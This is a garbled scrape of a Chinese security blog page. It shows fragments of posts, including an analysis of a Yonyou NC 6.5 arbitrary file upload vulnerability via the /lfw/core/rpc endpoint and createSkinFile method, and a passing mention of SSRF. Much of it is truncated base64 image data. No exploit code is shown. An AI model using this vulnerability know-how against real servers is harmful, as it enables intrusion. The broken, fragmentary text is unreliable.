X5q7dTcPUbtj0RsxmPWV5x9m3ZxcFZYco86QieXPJ8UdTv1YcWjVMUGPEZrMjS1CmBV8ALFY7cqAUSWciWHqcuZuzGd6rLr5ACLPVht0Ieo2BAXc9Sb9G8ZVKV3p0M2OnbMRgsXNRCfJeTSRD2mzFGtbjdLrRmezoA3uYPHsRve58mq41zZRk7cfld7F8wnc4ug7jrdH1+f2Hjxg7bzv3946nND+LYO0+vPbGSHYvmsTMeXNp9sBQNi+aR3TbYdzdpR4ZezPRGFTWTv2BwuiOvDKmPTsXfM07k5bz0j292PzzOEqi2vPamJ64Dq/j+8krsXboWunYsncexv1GK9OXl3LXozcSi8K6uV+zvKAlz709EI5vZ8qUhSQm3Uar2tEVwTN/yREWLl1P2xufpmfDOPb++jnfLs2kxRV2NP5dzPhuNq1vfpAH60Sxfu4k5k1dwq23Xc2RFVP4LbMxz759FYbCA0yZMI+d1WvQNsHDhLfHkHT149zTtR47lk1l3PS1NOlnxm4z4HOXgcGOLnyAGLine truncated
<p>最终也是测出了SSRF</p>
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191424-3290fdd2-d498-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABN0AAAJnCAYAAACj0yWiAAEAAElEQVR4nOzdd3gVVf7H8ffMvTfJTe8VAiFA6FUBRUVs2HvvbVfdta2uWyzrqrtr31V3XdvP3rAroqJ0RKmCdEJJAgRCes/td35/3FQIRTYI6uf1PHmeuXNnzpw758zMmW/OnDE87kYLERERERERERER6TLmgc6AiIiIiIiIiIjIz419d18WFhSS13/gj5UXERERERERERGRn5SpUyYzbvwxO81XTzcREREREREREZEupqCbiIiIiIiIiIhIF1PQTUREREREREREpIsp6CYiIiIiIiIiItLFFHQTERERERERERHpYgq6iYiIiIiIiIiIdDEF3URERERERERERLqYgm4iIiIiIiIiIiJdTEE3ERERERERERGRLqagm4iIiIiIiIiISBdT0E1ERERERERERKSLKegmIiIiIiIiIiLSxRR0ExERERERERER6WIKuomIiIiIiIiIiHQxBd1ERERERERERES6mIJuIiIiIiIiIiIiXcx+oDMgIiIiP28+vx8ME8MwsIJBAgE/Drsdm812oLP2P/N4vBg2E9MM/RYrGCTg9xMREb5X6weDQWZ8PZ/iRsjqlUfB8oVMGDOYntnd9me2RURERORHoKCbiIiI7Debt27nq6UbiUjOxhkVQ11VOduK1tMrK4XEcIsBudlkpqXscwDOsiw8Xi+Nbj/2sHCCPjfxMVEYhrFX6weDQSwMsCxstj0/AGBZFj6/n6q6Jr5bW8TaLeXEJGeQkJyGYRrUlJextWgdI/tmM7R3NzJSErDbd93cmvvdCkocmcRmx1Pvh5QBhzFz/RYuSEkm0hmx1/tBRERERA4+CrqJiIjIftHQ5GZmQT2JPQe2zotLSiEuKQWARmBhpUX+5x9z4UlHkpkUS0TEDws0rVi7gXmb6knp1gvw4XE1kmXbwlEj+u/V+m999Dm+pL6UbdnANaeOJTkhbpfLWpbF8rUbefPLeYw57jSI60FOXI8OyySmZZCYloEXmF/qx7t8EacfMZSYqMhO0yxxmTjCwN1YT0RUDACxKVl8s3Qlxx9+yF79BhERERE5OGlMNxEREelywWCQB576P0x23+PMMAz6jT6GxaVB3py2hIrq2r3eRnVNLcsrISUrp3VeuDOKUiuO9UXFe5dISl8aKreSO3QMpQ2B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 truncated
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<span class="username cell"> amazingday</span></a> <span class=i-seprator> / </span>
<span> 2024-03-11 11:29:47</span><span class=i-seprator> / </span>
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<h2 id=toc-0>0x00</h2>
<p>起因看见通告,描述是通过/lfw/core/rpc接口访问到PortalSpecServiceImpl类中的createSkinFile方法。</p>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311112222-933d6ee0-df56-1.png title><img src=data:image/png;base64,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t9ranQY7l9ehdZK63l0Td13e7b+7ud6+fnODTkPpHrBHsuf53pS9N/aF7mvdz9hff8DiQPVB2sGSRqRxZmN/U0ZTV3NSc+ehkEOtLZ4tBw87HN5+xORI1VHto8uPUY4VHRs8XnB84IToRN/J9JOPW6e03j01/tS1tui2jtOhp8+dCTxz6izz7PFzXueOnPc4f+gC40LTRdeLje0u7Qd/d/n9YIdrR+Mlt0vNl90vt3SO6zx2xefKyav+V89cY1+7eD3ieueN+Bu3bk682XWLd6vndvbtV3fy73y+O/8e4V7JffX75Q8MHtT8YfNHQ5dr19GH/g/bH8U+uvuY+/jFk9wnX7qLnlKflj8zflbb49RzpDew9/LzCc+7X4hefO4r/lPjz+qX1i8P/OX7V3v/+P7uV+JXg6+XvtF7s/2t89vWgaiBB+9y3n1+X/JB78OOj4yPZz8lfnr2efoX0peKrzZfW76Ffrs3mDM4KOKIObJfAQw2NC0NgNfbAaAmAUCD+zPKBPn+T2aIfM8qQ+A/YfkeUWauANTD//foPvh3cxOAPVvh9gvqq00EIIoKQJw7QMeOHW5DezXZvlJqRLgP2BTxNTUnFfwbk+85f8j75zOQqjqDn8//AhA/fFQ8luSxAACUQUlEQVR4nOzddXwb9/0/8NedTmxmO46DTuIwU0NNk7RNmdsUB93arePtu9+o69YxQ9utzEwpp+GGmdFh27GdmGVbrPv8/jjpLNmSLVPSdK/n49Etlk53H0uydO/7vD/vtySEECAiIiIiIiLqIvl8D4CIiIiIiIgubAwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIRERELine truncated
补丁名称:patch_portal65_lfw任意文件上传漏洞<br>
补丁编码:NCM_NC6.5_000_109902_20240301_GP_281362040</p>
<p>搜了下网上没有相关描述<br>
接口和关键类和函数描述中都给出来了,直接定位如下</p>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104709-a7e734de-df51-1.png><img src="data:image/png;base64,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 truncated
<p>调用handleRequest</p>
